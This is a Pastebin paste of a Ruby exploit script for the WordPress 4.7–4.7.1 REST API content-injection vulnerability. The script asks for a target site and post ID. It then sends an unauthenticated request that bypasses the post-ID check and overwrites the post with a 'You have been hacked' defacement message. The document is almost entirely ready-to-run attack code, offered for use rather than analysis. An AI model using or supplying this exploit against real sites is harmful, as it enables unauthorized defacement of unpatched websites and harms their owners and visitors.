SHARE
TWEET

WP Content Injection

choirurrizal Mar 2nd, 2017 102 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Exploit Title: WP Content Injection
  2. # Date: 31 Jan' 2017
  3. # Exploit Author: Harsh Jaiswal
  4. # Vendor Homepage: http://wordpress.org
  5. # Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
  6. # Tested on: Backbox ubuntu Linux
  7. # Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
  8. # Credits : Marc, Sucuri, Brute
  9. # usage : gem install rest-client
  10. # Lang : Ruby
  11.  
  12.  
  13. require 'rest-client'
  14. require 'json'
  15. puts "Enter Target URI (With wp directory)"
  16. targeturi = gets.chomp
  17. puts "Enter Post ID"
  18. postid = gets.chomp.to_i
  19. response = RestClient.post(
  20.   "#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
  21.   {
  22.  
  23.     "id" => "#{postid}justrawdata",
  24.     "title" => "You have been hacked",
  25.     "content" => "Hacked please update your wordpress version"
  26.  
  27.  
  28.   }.to_json,
  29.   :content_type => :json,
  30.   :accept => :json
  31. ) {|response, request, result| response }
  32. if(response.code == 200)
  33.  
  34. puts "Done! '#{targeturi}/index.php?p=#{postid}'"
  35.  
  36.  
  37. else
  38. puts "This site is not Vulnerable"
  39. end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top